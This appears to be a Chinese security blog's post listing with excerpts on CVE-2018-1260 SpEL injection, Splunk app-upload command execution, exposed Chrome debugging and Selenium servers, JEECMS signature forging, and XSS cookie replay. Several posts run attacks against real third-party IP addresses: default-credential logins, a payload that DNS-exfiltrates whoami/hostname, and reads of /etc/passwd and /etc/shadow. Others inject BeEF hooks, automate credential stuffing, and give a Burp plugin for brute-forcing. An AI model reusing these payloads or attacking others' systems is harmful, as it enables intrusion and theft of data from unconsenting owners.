2018-05-11 875 0
本篇是漏洞编号：CVE-2018-1260的复现和分析过程笔记，https://pivotal.io/security/cve-2018-1260 【前方高能预警】分析过程可能非常的细，如果看不下去的话，可以看看先知大佬的分析文，最后会贴出地址。安装Demo： 从GitHub搜索找到了spring-security-oauth2-example 的代码，下载导入IDEA，配置JDK8.0 配置mysql连接，创建对应的数据库和表，这里提供一份sql文件，创建数据库alan-oauth，导入sql即可。地址：demo.sql 为了复现这个漏洞需要对源码进行修改，找到src/main/java/config/OAuthSecurityConfig.java 修改configure函数为下面内容：@Override public void configure(ClientDetailsServiceConfigurer clients) throws Exception { // clients.withClientDetails(clientDetails()); clients.inMemory() .withClient("client") //.secret("secret") .authorizedGrantTypes("authorization_code") .scopes(); } 到此环境已经准备好，现在可以准备调试复现漏洞了。复现&调试 复现： 使用sping-boot run 启动环境，访问GET类型的授权URL：http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com/&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22/Applications/Calculator.app/Contents/MacOS/Calculator%22%29%7D 它会跳转到一个登录页面，此时随意输入账号密码，点击登录即可弹出计算器： 调试分析： 上面我们已经复现了漏洞，现在进行调试跟踪一下弹计算器的过程做一做笔记，尽量写的详细一点。正向分析过程如下 从POC的复现触发过程，访问的URI /oauth/authorize 入手，我们尝试找到处理这个uri的地方，你可以通过源码全局搜索找到这个文件的地方文件地址： org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoin 上面的代码中定义了2个跳转地址：private String userApprovalPage = "forward:/oauth/confirm_access"; private String errorPage = "forward:/oauth/error"; 这两个地址就是用于完成该函数后，跳转过去的地址。 3、这个文件里定义了两个ModelAndView，分别处理GET/POST不同类型的认证的；我们找到了处理的入口函数后，现在可以开始调试了，在处理GET请求的函数逻辑里下断点，然后debug运行起来 运行起来后，用浏览器访问GET请求的认证POC地址，在出现的登录框里任意输入账号密码，点击Login 可以看到请求进来后，停在了断点处，parameters值就是GET请求里传进来的4个参数；调试Trick-1： 为了防止进入该断点逻辑后，再无法回到当前逻辑处，我们可以在该逻辑的下一行逻辑或代码处再下一断点。如下 现在我们可以放心大胆的跟进去吧，不用担心迷路后再也回不到这里来了。 到工厂里看看，这里前面几个处理是在读取值初始化，需要重点关注的是extractScopes，它的参数就是前面传进去的4个值，我们进去看看。 为了防止迷路，好习惯要开始养成不要忘了。 进去后是这样的，如下图所示： 如上图所示，先使用我们传入的scope值，按照空格分割，处理得到scopes 集合，然后实例化了一个clientDetails对象，这里面包含的就是我们的本地oauth的配置信息, 这个信息在代码中配置截图如下： 到了这里我们可以认真分析一下这里到代码，如下图：于是返回的是这个：回到上层函数继续跟进，我们可以看到我们传入的参数将拿去实例化一个认证请求类。这个认证请求类，目测是不需要多关注了，我们还是简单进去看看。再下个断点进去 到此，工厂返回的认证类实例化对象流程已完成，返回的认证类的scope被赋值了我们的恶意语句。回顾一下，恶意的scope在这个厂里生成时，在extractScopes 取值时，完全信任了客户端请求中传入的值。我们继续往下跟，看看后面有没有做处理，以及怎么被触发的。流程回到处理GET请求认证的ModelAndView处，此时的状态如下：紧跟着是一些if else的判断，大概浏览下，这些都是能顺利通过判断的，往后浏览发现156行处需要关注，根据取名意思推测这可能是最后一道门，看看对Scope做了什么校验： oauth2RequestValidator.validateScope(authorizationRequest, client); 为了防止断点跟飙了，在下一个逻辑160行代码再下一断点，然后跟进看看这个validateScope的逻辑 调试Trick-2： 想直接跳过很多逻辑直接到下一个断点，不想单步，或一个函数一个函数的调，下一个跟进点打断点后，直接Resume Prog 跟进去发现这里开始比对传入的scope和本地配置的scope值： 继续跟进 因为我们本地没有配置scope,所以这个里的clientScopes为空的第一个if条件不满足，不会抛出异常Invalid scope。请求带scope不为空，第二个if条件也不满足不会抛出异常Empty scope 继续往下看，下面的代码如下： 我们需要跟进checkForPreApproval了解下做了些什么操作，跟进去后发现逻辑有点多，较复杂。调试Trick-3： 当函数逻辑较复杂时，为了防止绕晕后，因意外跳出了该函数而懊悔，我们可以在函数退出的地方先下断点。 从单词的字面意思可以理解为检查先前是否被批准，被允许的，我们跟进去看看； 理解一下上面的代码，创建的ClientDetails类的实例化对象client,代表了本地配置的信息，requestedScopes代表的是 authorizationRequest里初始化后的scope集合，for循环就是在遍历authorizationRequest里设置的scope的集合是否包含在本地配置的范围如果包含就添加进approvedScopes。很明显这里不成立，因为本地我们没有配置scope，这个的approvedScopes最后为空的，如下图： 继续跟下去，发现在本地配置没有找到，开始查询数据库，截图如下： 我的数据库完全是空的，所以这里也不会查到任何信息，最后的approvedScopes也是为空的，所以我们在退出地方下断点，直接跳过去，看看退出时，approved值也应该是false,如下图： 回到上层，继续往下看 我们跟进去看看，里面是做什么的 ：跟下去看到，会将当前带有恶意scope的authorizationRequest，forward到/oauth/confirm_access处，如下图： 我们继续跟下去，先搜索找到/oauth/confirm_access的处理地方，下断点等候流程跳过去；找到位置如下图：org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java这里已经看到了危险的气息，点击Resume Program直接到这里来，我们可以看到给SpelView解析的模版里面，已经带入了恶意的scope的值，这个模版的页面就是提供给前端手动认证的页面。这里就不需要再跟进了，直接Resume Program，即可触发弹出计算器； 至此整个漏洞的触发流程已经分析完成，回顾一下整个分析过程我们揪出一下产生漏洞是由于输入的scope没有安全检查，当没有配置scope值时，输入的scope经过一层层处理，最终到了SPEL解析引擎补丁修复： commit记录： https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c 从补丁的变化来看，去除了SpelView的解析模版方式了,直接拼接的HTML，并用HtmlUtils.htmlEscape编码输出页面的值，。 参考： 1、https://pivotal.io/security/cve-2018-1260 2、https://xz.aliyun.com/t/2330... 继续阅读 »![[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】](http://www.coffeehb.cn/zb_users/upload/2018/05/201805101525941070537294.png)
2018-05-10 515 0
题外话： 测试的目标网站如果，登录接口有验证码+浏览器环境检测的时候，有时候脚本小子就望而却步了比如我。因为正面对抗JS的环境检测和验证码是有难度的，这个时候我们可以借助Selenium + 打码平台来搞一搞。这里只做笔记记录，不做具体细节描述，如有兴趣可以私下交流。测试目标： 我们的假定目标如下，某贷网站的登录入口：关键点： 1、需要自动填充账号、密码 2、需要将验证码进行截图，然后接入打码平台SDK 3、这里暂时不管，短信验证码。一般情况： 使用Selenium进行自动化登录的基本操作是会的，结合打码平台的SDK的操作也是基本的，有时候会遇到验证码是特殊url，页面关联性很强的时候，想要打码，必须使用通过截图打码来完成登录。关于selenium+验证码截图网上搜一搜有很多，比如你会搜到下面的：上面的这种在windosw上确实OK的，不一般的情况： 上面的情况适合一部分Window用户，Mac电脑上就不一样了，多次的实践结果证明Mac上的对验证码截图部分代码应该是下面这样写的：（曾经去B站大佬面前演示过B站可被撞库）特殊情况： 今天遇到了不一样的情况了，这个情况就是开篇截图里的情况。当登录页面有滚动条的时候，上面的2种做法都行不通了。回顾截图的代码，思路是，先整体当前网页全屏截图，然后通过Selenium查找到验证码图片元素，拿到该图片元素的长-宽，以及在页面的location相对位置，然后通过计算得到截图的坐标，通过4个坐标点，进行截图得到了我们想要的验证码图片。 这里的新情况是，页面出现了滚动条，如下图： 在有滚动条的时候，验证码图片的相对位置计算方式就不一样了，滚动条向下滚动了，验证码图相对于网页的左上角是更近了一些距离，这个距离就是滚动条的滚动距离。 所以4个点坐标的正确计算方式记录一下应该如下： 上面的思路是： 1. 获取当前滚动条滚动距离。 2. 创建一个标签，记录该值，然后selenium找到这个标签，拿到这个值。 3. 验证码元素的相对位置y值需要剪掉滚动的距离。 这样就能拿到验证码图片了 剩下的工作就是SDK打码，输入验证码，进行测试了，这就不多说了。。总结： 确认过眼神，就是这么整。... 继续阅读 »
2018-04-24 491 0
1、漏洞产生原理 Splunk允许在使用超级管理员权限登录后，在“应用”-“管理应用”功能里，通过上传本地文件或者从网络安装新的应用。通过构造恶意的应用，攻击者可以实现远程命令执行。和Tomcat 登进manager/html 部署war拿shell类似2、漏洞复现如下：复现版本：splunk6.6.6第一步，打开找到从本地上传文件，安装应用的页面： 第二步，选择和上传恶意的App文件,并安装 [^upload_app_exec.tgz] msfconsole提供的文件https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/splunk/upload_app_exec.tgz 安装后，在应用里出现新安装的恶意应用（第四个） 第三步，任意Splunk用户均可触发执行任意的系统命令payload：* | script msf_exec ZWNobyBoZWxsb19rb21pXzIwMTg+L3RtcC94eHh4b29vbw== 公网找的一个测试地址： http://50.112.233.208:8000/ 默认账号密码：admin/changeme 构造payload： * | script msf_exec cGluZyBgd2hvYW1pYC5gaG9zdG5hbWVgLnNwbHVuay54Lnhma3hmay5jb20= 满满的爱。。。3. 漏洞影响评估 从漏洞产生原理来看，是由于Splunk对安装应用没有做恶意检测造成。因为这是正常的功能，Splunk官方不认为是安全漏洞，但攻击者拿到system权限后可以通过利用这个正常的功能实现对操作系统的控制。恶意应用可以是本地构造的上传文件，也可能是官方推送的”更多的应用“。从Zoomeye看分布情况。https://www.zoomeye.org/searchResult?q=Splunk 还好，暴露在公网的不算多。大部分都是改过默认密码的。。4. 修改建议 建议直接禁用了新应用安装功能5. 参考 https://www.exploit-db.com/exploits/23224/... 继续阅读 »
2018-04-05 548 0
【一】什么是puppeteer？ Puppeteer(中文翻译”木偶”) 是 Google Chrome 团队官方的无界面（Headless）Chrome 工具，它是一个 Node 库，提供了一个高级的 API 来控制 DevTools协议上的无头版 Chrome 。也可以使用完整正常的 Chrome浏览器。【二】一些基本操作安装安装可以用下面的命令：yarn add puppeteer 或者 npm i puppeteer基本环境 Nodejs 的版本不能低于 v7.6.0, 需要支持 async, await. 需要最新的 chrome driver, 这个你在通过 npm 安装 Puppeteer 的时候系统会自动下载的Demo代码const puppeteer = require('puppeteer'); (async () => { const browser = await (puppeteer.launch({ executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium', //设置超时时间 timeout: 15000, //如果是访问https页面 此属性会忽略https错误 ignoreHTTPSErrors: true, // 打开开发者工具, 当此值为true时, headless总为false devtools: false, // 关闭headless模式, 会打开浏览器 headless: false })); const page = await browser.newPage(); await page.goto('http://www.coffeehb.cn'); await page.screenshot({ path: 'poc.png', type: 'png', fullPage: true, }); browser.close(); })(); 执行demo文件命令： node poc.js效果 demo的代码效果是加载安装puppeteer时下载的chrom-mac文件，新建页面加载博客地址，通过快照截图保存为poc.png文件。 puppeteer.launch 可以设置加载Chrome启动时的一些参数，可配置的参数可查看这个文档puppeteerlaunchoptions。 更多的关于这个工具的用法可以查看官方的API文档 导出PDF 需要注意的是，导出PDF的功能只能在headless模式下工作，即：headless: true 关键代码：await page.goto('http://killbit.me/'); await page.screenshot({path: 'bit.png'}); await page.pdf({path: 'bit.pdf', format: 'A4'}); await browser.close(); 上面的操作是导出PDF和快照留图。 实测导出的图片看着还很OK，有时候导出的PDF就看不下去了，黑白的，文字还错乱了比如上面的代码。【三】Chrome Devtools Protocol Chrome远程调试协议（我们简称： CDP），Chrome开发者工具前端开发者和白帽子应该都用得比较多。Chrome Devtools Protocol 是Chrome浏览器提供的用来支持远程对Chrome浏览器进行调试用的协议。本文学习的puppeteer就是用nodejs编写的，支持CDP协议调用的前端自动化测试框架。 为了便于我们了解，顺便理解学习CDP，准备了如下代码：const puppeteer = require("puppeteer"); (async () => { const browser = await puppeteer.launch({ executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium', headless: true, devtools: false, args:['--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'], }); const wsendpoint = await browser.wsEndpoint(); console.log(wsendpoint); })(); 上面的代码，实现了启用一个Chrome 以headless模式，并在本地0.0.0.0监听了10516端口，支持CDP协议的远程调试。 截图如下： 打开浏览器访问一下地址：http://127.0.0.1:10516/ 看看是什么呢？ 看着这个可能第一反应不知道怎么玩，快速学习一下下面的几个API。 http://127.0.0.1:10516/json ：查看已经打开的Tab列表 http://127.0.0.1:10516/json/version : 查看浏览器版本信息 http://127.0.0.1:10516/json/new?http://www.baidu.com : 新开Tab打开指定地址 http://127.0.0.1:10516/json/close/92615aad-5862-48d5-983d-248468e9741a : 关闭指定Id的Tab页面 http://127.0.0.1:10516/json/activate/92615aad-5862-48d5-983d-248468e9741a : 切换到指定Id的Tab页面 学过这几个API，你就知道该怎么玩了...于是乎测试一波吧，通过傻蛋搜索一波关键字：Headless remote debugging, 找一个玩玩如下。（别问我为什么想着去搜一波别人的，不玩127.0.0.1因为总有一种hack别人的刺激感吧！） 找到一个地址：http://45.55.134.189:8081/ 利用上面的API，一顿猛如虎的操作如下。 1. 打开一个tab，利用file打开文件passed http://45.55.134.189:8081/json/new?file:///etc/passwd 2. 查看当前的Tab列表 http://45.55.134.189:8081/json 3. 找到devtoolsFrontendUrl地址，然后访问一波（修改localhost为IP） http://45.55.134.189:8081/devtools/inspector.html?ws=45.55.134.189:9222/devtools/page/(3ACA0D386B9653306433056EFD96065C) 关于Chrome 的Headless搜索一下有很多是用来做爬虫的文章，Headless 又和CDP协议分不开，在之前我看过有大佬用CHrome Headless做前端XSS扫描的文章。地址：初见 Chrome Headless 第二弹 这个也学习实验了一把，将上面的代码做做修改，因为Chrome默认有XSS的过滤，于是修改启用加载参数。args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'], 为了直观效果，我们可以不用headless模式，我们就来看看浏览器的和利用CDP协议 hook到弹窗的效果， 代码做了小小改动如下： 启动服务代码如下：const puppeteer = require("puppeteer"); (async () => { const browser = await puppeteer.launch({ executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium', headless: false, devtools: false, args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'], }); const wsendpoint = await browser.wsEndpoint(); console.log(wsendpoint); })(); 先运行Server启动一个浏览器监听10516端口做远程调试，然后执行py脚本，效果如下：【六】Refererhttps://jeffjade.com/2017/12/17/134-kinds-of-toss-using-puppeteer/https://segmentfault.com/a/1190000011627343http://www.r9it.com/20171106/puppeteer.htmlhttp://www.siyuweb.com/javascript/3052.html... 继续阅读 »
2018-03-04 1244 0
1. 开篇 不知道大家在平日工作中有没有遇到过一些端口，使用浏览器打开是下面这样子的：上图中我找了几个在不同端口下的例子。2. Selenium-开源的自动化测试利器 本篇主要的主角-Selenium究竟是什么呢？有过QA经验或安全自动化测试经验的朋友应该知道，以下文字来自百度百科：Selenium[1] 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中，就像真正的用户在操作一样。支持的浏览器包括IE（7, 8, 9, 10, 11），Mozilla Firefox，Safari，Google Chrome，Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。 官网地址：https://www.seleniumhq.org/ Github地址：https://github.com/SeleniumHQ/selenium/wiki/Grid2 selenium支持本地和远程浏览器的自动化测试，在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer，它会负责远程浏览器的启用和你的自动化脚本的执行。 官方给出的启用该SeleniumServer的命令：java -jar selenium-server-standalone-<version>.jar -role node -hub http://localhost:4444/grid/register 那么脚本远程调用可以如下：//第一个参数：表示服务器的地址。第二个参数：表示预期的执行对象，其他的浏览器都可以以此类推 WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome()); 路径/wd/hub/我是怎么知道的？ 1. 点开console，自动跳转知道的。 2. 百度selenium remote 知道的 3. 查看源码发现是默认的- 源码 通过阅读源码能发现默认的端口为4444，如下图所示： 下面是一个python写的远程调用的Demo: 3. Selenium-server分析 为了方便我们分析，我在Mac下启用一个Sever， 服务端就是一个独立端JAR文件，下载地址：点击下载 可以直接这样启用：浏览器访问，打开console看看，如下图： Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话，该控制台可以新创建会话，可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。 观察加载Console页面时，加载了一个叫client.js的文件，从这个文件中可以找到一些有用的调用接口，比如我的地址：http://127.0.0.1:4444/wd/hub/ ，当前的SessionId为，179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下：GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub URL ==> 对应函数 /sessions ==> getSessions 获取当前所有打开浏览器的Session信息 /status ==> getStatus 获取当前Server状态 /session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl 获取当前浏览器打开的URL /session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText 获取弹窗内容 /session/179220de83fee4d6090502b003b692a0/source ==> getPageSource 获取网页源码 /session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot 网页快照，返回Base64图片 /session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies 获取当前页面Cookie上面的只是举例说明，完整的接口定义可以去GitHub上看WIKI说明，地址：https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol 现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作，下面看看我们就一起研究下能怎么玩？ 4. 构想和实施你的玩法 问题： 在敌人后方，你拿到了一个完全可控的浏览器后，你能做些什么？ 针对这种，下面是暂时想到的玩法。 4.1 实施对敌方远程浏览器自动化作业的监控（偷视） 利用上面学习的知识，我们通过接口：http://127.0.0.1:4444/wd/hub/sessions 发现存在着有效的Session正在作业如图： 哪么我们可以通过自己编写脚本，调用API接口，实时获取该浏览器的信息。如： 获取当前URL 比如下面展示的，某一个浏览器正在进行重置密码的-自动化操作，我们可以通过API接口实时拿到该浏览器当前的URL地址。（很关键拿到这个URL就可以为所欲为了。。。）获取网页快照 当然这个返回的是页面截图的Base64，转化一下如下： 如果只是简单的URL监控，思路利用burpsuite就可以实现，这里我实验了一下，如图： 利用这类思路，我们可以自己编写脚本利用其提供的API接口，对网络空间里的这类Selenium Server的行为进行24h的实时监控，记录其xx行为。 4.2 以此为跳板，对内网实施攻击 利用Selenium Server对特点，创建或者可控一个正在作业的远程浏览器，向内网发起攻击。 说到利用跳板发起内网攻击，可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞，这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器，能够下发任意的JS代码，控制浏览器访问任意的URL这简直不能再爽！ 这里可以做一下实践，测试代码的demo如下： 这里的hook.js文件可以为任意XSSRays的hook文件，这里的是用的beef，在测试中这个hook.js文件还需要做点改动才能加载执行。（前端学的太渣） 这里的demo代码，实现的是连接远程Selenium Server，打开一个网页，然后在当前网页动态加载一个hook.js文件。动态加载的代码部分是这样实现的： 这里通过selenium 提供的execute_script函数，在远程浏览器执行一段JS，js内容是加载远程的JS文件，这里默认加载的beef的hook文件是没有执行的，需要做改动如下： 经过上面的改动，现在就可以成功的注入beef的js文件并执行上线了，效果如下图： 测试到此，同理想必也应该知道挖矿JS怎么注入进去了吧？ 4.3 file协议任意文件读取 我们知道浏览器支持使用file协议读取本地系统的文件，哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件，甚至是重要的shadow等口令文件 在测试实践中，我找了几台靶机尝试读取系统/etc/passwd文件，发现甚至有的可以读取shadow文件。准备测试脚本很简单，几行代码比如：def test_readfile(driver_url = '', filename=''): driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub', desired_capabilities=DesiredCapabilities.CHROME) driver.get("file://%s" % filename) print driver.page_source driver.quit() 然后结果就是这样的： 甚至读取到了shadow 当然最简单的方式是直接在Console里直接操作，步骤：Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot 你就能看到了。下面是测试的截图 看到这里，是不是震惊了？赶紧回去问问你们的研发，你们的QA，有没有用到它，小心菊花不保！！ 4.4 远程挖矿 近两年来很流行的浏览器挖矿 从去年6月后吧，利用浏览器进行虚拟货币挖矿的事件越来越多来，网站代码中暗藏JS挖矿机脚本 挖矿脚本上GitHub一搜索就能找到很多，Github搜索地址 这里就不做过多测试了，不玩这个！ 5. 网络空间调查 使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索，看看网络空间里有多少Selenium Server以及分布情况。 Zoomeye 搜索地址：搜索链接 搜索结果如下图： 搜索发现在Zoomeye引擎中记录，在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。 FOFA引擎 搜索地址：搜索链接 使用FOFA引擎，匿名用户 normal模式进行搜索，获得了1.3k左右的记录搜索结果： Shodan引擎 搜索地址：搜索链接 在SHODAN引擎中关键字搜索，仅44条记录。 搜索结果： SHODAN引擎主要采集基础组件端口信息，采集网页信息较少，所以用网页关键字：SeleniumHQ 搜索的结果较少，但是我们如果搜索Selenium Server 所使用的组件 Jetty，就会发现搜索结果比较多了，如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。 搜索地址：搜索链接搜索结果：6. 进一步研究方向 能想到的可行的研究方向： 1. 网络空间的基于Selenium的自动化攻击监控 从网络空间搜索引擎里采集Selenium Server服务端IP，实时采集并记录其远程浏览器的自动化行为。 2. 主动探测网络空间里部署Selenium Server服务器分布 使用探测工具主动探测存在于网络空间的Selenium Server分布情况，记录和观测这些探测得到的IP，这些IP都有自动化攻击，薅羊毛的潜在可能。 ... 继续阅读 »
2018-01-19 371 0
题外话 18年想提高一下自己的代码审计能力，重点放在JAVA系和Python系。JAVA是我入门学习的第一门语言也是大学陪伴最久的，会一直爱下去。Python是我用的最多最喜欢的，Python是世界上最好的语言。 起因 & 签名分析 写这个插件的原因是在测试JEECMS后台时，用burp修改了一个参数的，在返回结果中看到提示了签名错误，如下图： 很明显这里后端对参数做了签名验证，其中请求中对参数sign就是签名的hash. 于是Debug来看看。先修改参数：通过下断点，发现后端会将请求参数全部拿来做签名计算，签名计算就是一个MD5计算，其中的appKey会被拼接到字符串后面，然后对字符串做一次MD5计算，这个MD5值会与前端传过来的sign判断是否一致，如果一致则签名判断通过，不一致则说明参数被篡改了。签名计算方式：现在唯一的问题就是，随意一个JEECMS的站，那个appKey怎么知道呢？这个Key是admin用户的唯一值，在数据库位置：我们知道sign是签名hash那么，参数是在前端经过签名的，那么前端一定有这个appKey的值，于是打开F12在JS文件中可以找到这个值。官方Demo站： 签名插件编写：我们知道了签名校验方式和过程了，现在就知道怎么写这个burp插件了。 1. 将请求参数拦截下来 2. 将参数+appKey进行拼接并做MD5计算 3. 用新的hash替换参数sign的值 4. burp发出请求，成功返回。编写burp插件-python版本代码如下：from burp import IBurpExtender from burp import IHttpListener from java.io import PrintWriter import hashlib import urllib print "Hack Jeecms Sign By Nerd." class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("Hack JeeCMS Sign") callbacks.registerHttpListener(self) self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) callbacks.issueAlert("Loaded Successfull.") def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest): if messageIsRequest: requestInfo = self._helpers.analyzeRequest(currentRequest) self.headers = list(requestInfo.getHeaders()) hook_host = requestInfo.getUrl().getHost() bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():] self.body = self._helpers.bytesToString(bodyBytes) o,n = self.update_sign(urllib.unquote(self.body)) self.body = self.body.replace(o,n) print self.body newMessage = self._helpers.buildHttpMessage(self.headers, self.body) currentRequest.setRequest(newMessage) # Process responses else: pass def update_sign(slef, body=""): try: old_sign = "" # defalut appKey appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi" #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h" hash_param = "" param_list = body.split("&") temp_dict = {} for pa in param_list: t = pa.split("=") temp_dict[t[0]] = t[1] tmmmm = temp_dict.items() tmmmm.sort() for (k, v) in tmmmm: if k == "sign": old_sign = v print "old sign = ",v continue hash_param += "%s=%s&" % (k, v) hash_param += "key=" + appKey sign = hashlib.md5(hash_param).hexdigest() print "new sign = ",sign.upper() return old_sign,sign.upper() except Exception, e: print e return "","" 效果： 模拟对JEECMS后台进行爆破攻击，没有加载插件之前是这样对效果：全部提示签名错误加载插件以后：加载插件后,长度640为签名错误的情况，仅有2次签名错误，通过这个插件就可以爆破，SQL注入等为所欲为的操作了。代码GitHub地址： hackSign.py... 继续阅读 »
2018-01-10 309 3
每当通过XSS打到了Cookie后，需要替换Cookie进行使用时，可以试一试这个插件。提示信息说明： CookieXSS Code By Nerd. Write Your Cookie into file: /Users/komi/PycharmProjects/BurpExtends/CookieViaXss/cookie.txt Like: domain=baidu.com bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF; domain： 设置当前的Cookie替换域，即：启用该插件后，经过burp的*.baidu.com的域名的流量都会替换使用该Cookie.剩下的数据都是XSS 获取到的Cookie值.bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;效果：代码地址：https://github.com/coffeehb/tools/tree/master/Cookie%20Via%20XSS... 继续阅读 »
